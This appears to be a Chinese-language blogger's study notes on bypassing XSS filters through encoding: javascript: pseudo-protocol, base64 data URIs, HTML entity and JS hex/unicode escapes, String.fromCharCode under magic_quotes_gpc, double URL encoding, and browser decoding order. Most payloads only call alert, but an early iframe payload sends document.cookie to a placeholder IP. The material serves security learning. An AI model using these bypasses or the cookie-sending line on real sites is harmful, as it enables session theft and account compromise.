标签
img、video、audio、iframe中的src属性只能请求,不能执行,在ie8以前可以;但可以使用js伪协议调用js
<iframe src="javascript:alert('iframe')" width = "0" height = "0"/>
<iframe src="javascript:var img=document.createElement('img');
img.src='http://xx.xxx.xxx.xxx/log'+escape(document.cookie);
document.body.appendChild(img);"/>
Base64编码绕过
一般应用场景:
<a href="可控点">
<iframe src="可控点">
当在这种情况下 过滤了<>’ “ javascript的话 就可以尝试使用base64编码绕过
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
<img src=x onerror=alert(1)>
这样当test A链接时,就会以data协议 页面以html/text的方式解析 编码为base64 然后单点击a链接时 base64的编码就被还原成原本的
HTML编码16进制/10进制 &#x/&
html实体编码本身只是为了防止与html本身语义标记的冲突。html正常只识别html10进制、html16进制,不会在html标签中解析js的那些编码,因此在比如onerror后放置js的编码比如jsunicode、js八进制、js16进制是不会解析的。
<img src="x" onerror="alert(1)">
magic_quote_gpc绕过
在遇到php中magic_quote_gpc(版本5.4之后已经移除了) 魔术变量处理开关转义,即便存储到后台的数据也会是转义的,如果输入的数据有
单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。针对该设置,进行xss绕过的话,通常使用js的string.fromCharCode()
<?php
$a=$_GET['id'];
echo $a;
?>
http://localhost:8888/ev_php/xss_gpc.php?id=%3Cscript%3Ealert(String.fromCharCode(34,%2049,%2034))%3C/script%3E
<script>alert(String.fromCharCode(34, 49, 34))</script>
string.fromCharCode(): Unicode 字符值中返回一个字符串
javascript jsunicode 8进制和16进制
[<] 分别是 \u003c \74 \x3c
宽字节绕过
头部Base绕过
url编码
【1】浏览器在发出url前会进行一次url编码,针对部分字符,以firefox为例子:
发出的请求 '" <script>alert(1)</script>
服务端接收到的请求 %27%22%20%3Cscript%3Ealert(1)%3C/script%3E
服务端自动解码一次返回数据(默认)
'" <script>alert(1)</script>
这也是为什么提交payload的时候可以不编码、urlencode
注意 浏览器的urlencode 应该是不包括%的,和常规的urlencode不太一样
- 双重编码
在某些时候测试xss中,可能会遇到payload中被htmlspecialcahrs编码,但可以针对服务端进行双重编码绕过,推测该后端代码
在该url中经过htmlspecialchars处理后,又再次进行了urldecode,相当于进行了两次urldecode,又因为经过编码绕过了htmlspecialchars的处理,故触发了该xss<?php $a=htmlspecialchars($_GET['id']); echo urldecode($a); ?>
- 三重编码
和双重绕过类似,推测多出来的一次是因为在htmlspecialchars前又进行了一次编码,如果没有后面那一行”echo urldecode($a);” 过滤是正常的,两者问题都出在此处<?php $a=$_GET['id']; $a1=htmlspecialchars($a); echo urldecode($a1); ?>
浏览器编码解码原理
为了更深入的了解xss的结果和原理,不得不了解浏览器的工作原理,以及解码顺序。
浏览器中具有URL解析引擎、HTML解析引擎、JS解析引擎
主要构成:
- 用户界面
- 浏览器引擎- 用来查询及操作渲染引擎的接口
- 渲染引擎- 用来显示请求的内容,例如,如果请求内容为html,它负责解析html及css,并将解析后的结果显示出来
- 网络- 用来完成网络调用,例如http请求,它具有平台无关的接口,可以在不同平台上工作
- UI 后端- 用来绘制类似组合选择框及对话框等基本组件,具有不特定于某个平台的通用接口,底层使用操作系统的用户接口
- JS解释器- 用来解释执行JS代码
- 数据存储- 属于持久层,浏览器需要在硬盘中保存类似cookie的各种数据,HTML5定义了web database技术,这是一种轻量级完整的客户端存储技术
重点是接下来的编码解码顺序
首先是URL解析:
- 用户在浏览器中填写一个资源定位标识,浏览器在将内容发送给对应的服务器,服务器对浏览器发过来的请求信息进行URL解析,在这个过程中遇到%号时会对该url进行url解码,该解码位置在于服务端自动解码一次,不需要编写代码,浏览器自身是不会进行url解码的
案例:
- 在客户端提交一次经过urlencode的字符串,在接收到服务端的返回数据时,已经经过urldecode了,而服务端如果直接返回urlencode的数据,浏览器接收到仍然用urlencode的形式渲染,在xss中并不会起作用,测试代码如下,有点乱 小尴尬:
在测试中a2的xss仍然以urlencode的形式返回到浏览器而不会解析,而以get方式提交的id,以urlencode形式提交则会解析触发xss<?php echo $a1=$_GET['id']; echo "1</br>"; echo $a2 ="%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e"; ?>
- HTMl/SVG/XHTML 解析
浏览器在接收到页面数据时,会首先对该数据进行HTML解析来构造DOM树,构造的过程与语言的编译过程是相似的,接收文档,先进行词法分析,然后语法分析,构建解析树。HTML 的分析器只能识别特定的词法规则,才能构建起DOM 树,这一块,HTML 不会做解码的工作
因此以下代码无效:即标签本身结构不能变化
在DOM构建完成后,才开始识别节点内容<img src="http://xxx.xxx.xx.xxx">
对html实体编码的内容进行解码构造DOM树
解析树是由DOM元素和属性节点构成的树结构,根节点是Document对象,DOM与标记一一对应
对应的DOM树:<html> <head> <meta charset="utf-8"> <title> </title> </head> <body> <p></p> <h1></h1> </body> </html>
解析过程是迭代的,解析器从词法分析器处取到一个新的符号,并试着用这个符号匹配一条语法规则,如果匹配了一条规则,这个符号对应的节点将被添加到解析树上,然后解析器请求另一个符号。如果没有匹配到规则,解析器将在内部保存该符号,并从词法分析器取下一个符号,直到所有内部保存的符号能够匹配一项语法规则。如果最终没有找到匹配的规则,解析器将抛出一个异常,这意味着文档无效或是包含语法错误。graph TD st(HTMLDocument)-->a a(HTML) a-->b1(head) a-->b2(body) b1-->c1(meta) b1-->c2(title) b2-->p1(p) b2-->p2(h)
如:<img11 src=1 onerror='a(1)'>
在浏览器解析时会报错:
HTML 文档的字符编码未声明。如果该文件包含 US-ASCII 范围之外的字符,该文件将在某些浏览器配置中呈现为乱码。页面的字符编码必须在文档或传输协议层声明。 untitled.html
而最后输出的树,也就是这里的解析树,是由DOM元素及属性节点组成的
DOM树构建完毕后
html编码就会被解析,html解析中无法用常规的自下而上或自上而下的解析器进行解析
原因在于:
语言的宽容本质
浏览器历来对一些常见的无效html用法采取包容态度
解析过程需要不断地重复,源内容在解析过程中通常不会改变,但是在 HTML 中,脚本标记如果包含 document.write,就会添加额外的标记,这样解析过程实际上就更改了输入内容,浏览器创建了自定义的解释器来解析HTML
- html解释器算法
标记化和树构建
标记化是词法分析过程、将输入内容解析成多个标记
构建解析流程图如下:
graph TD
st[network]-->a1
a1[tokeniser]-->a2
a2{tree construction}-->a3[DOM]
a2{tree construction}-->a4[ScriptExecution]
a4[ScriptExecution]-->a1
a3-->a4
标记生成器识别标记,传递给树构造器,然后接受下一个字符以识别下一个标记;如此反复直到输入的结束
js解释器
在处理如
“script、style”这样的标签,解释器会切换到特殊解析模式,在src href 后边加入的JavaScript 等的html解码后,进入js的解析模式,进入该模式后,该DOM节点已经建立起了。
所以先进行jsunincode编码再进行html编码可以正常触发
<a href="javascript:alert('<\u4e00>')">test</a>
在测试中 先进行html实体编码,再进行js16进制转码,不会正常解码
源码:<a href="javascript:alert('test')">test</a>
测试输出为unicode编码:
先html:
<a href="javascript:alert('test')">test</a>
再js16进制:
<a href="javascript:alert('\x26\x23\x31\x31\x36\x3b\x26\x23\x31\x30\x31\x3b\x26\x23\x31\x31\x35\x3b\x26\x23\x31\x31\x36;')">test</a>
正常输出:test
<a href="javascript:alert('\x74\x65\x73\x74')">test</a>
先js 16进制:
<a href="javascript:alert('\x74\x65\x73\x74')">test</a>
再html编码:
<a href="javascript:alert('\x74\x65\x73\x74')">test</a>
先进行html编码再进行unicode编码 解析失败
<a href="javascript:\u0026\u0023\u0039\u0037\u003b\u0026\u0023\u0031\u0030\u0038\u003b\u0026\u0023\u0031\u0030\u0031\u003b\u0026\u0023\u0031\u0031\u0034\u003b\u0026\u0023\u0031\u0031\u0036\u003b('1111')">test</a>
先进行unicode编码再进行html编码解析成功
<a href="javascript:\u0061\u006c\u0065\u0072\u0074('1111')">test</a>
综上 浏览器对于编码解码的顺序 url解码-html解码-js解码
tips:经测试 js16进制/8进制只会在js 字符串中解析,如果作为变量名、触发事件则不会解析如:
思考:<<白帽子讲Web安全>>
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script>
var x2=\x61\x6c\x65rt(1);
var x1=" 'onclick=alert(1);//'"
var x="\x20\x27onclick\x3dalert\x281\x29\x3b\x2f\x2f\27";
document.write("<a href='"+x1+"'>test<a>");
</script>
</body>
</html>
可以用以下例子来尝试看一下弹窗顺序
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src=1 onerror='a(1)'>
<script type="text/javascript">
a(2);
</script>
<script type="text/javascript">
function a(c){
alert(c);
}
</script>
<script type="text/javascript">
a(3);
</script>
</body>
</html>
参考 0x_Jin 凯神的《XSS与字符编码那些事儿》
案例
xss中禁用了&#符号
实体编码是由&#组成的,这个时候只能考虑能不能通过url编码绕过&#,再让浏览器解码成 &# 然后拼接x27 最后就成为了单引号的html16进制编码来绕过
借用凯神的案例
<a href="javascript:location='./3.3.php?offset='+document.getElementById('pagenum').value+'&searchtype_yjbg=yjjg&searchvalue_yjbg='">GO</a>
提交的payload:
wooyun%26%23x27,alert(1)%2b%26%23x27
解码后
',alert(1)'
感谢在@星尘的指导下,从新捋了捋xss编码的问题,现阶段就暂时到这吧。还是沉淀不够。革命尚未成功,同志尚需努力啊 by @流云
在线工具
在线编码解码工具:
https://www.mokuge.com/tool/unicode/
参考
宽字节: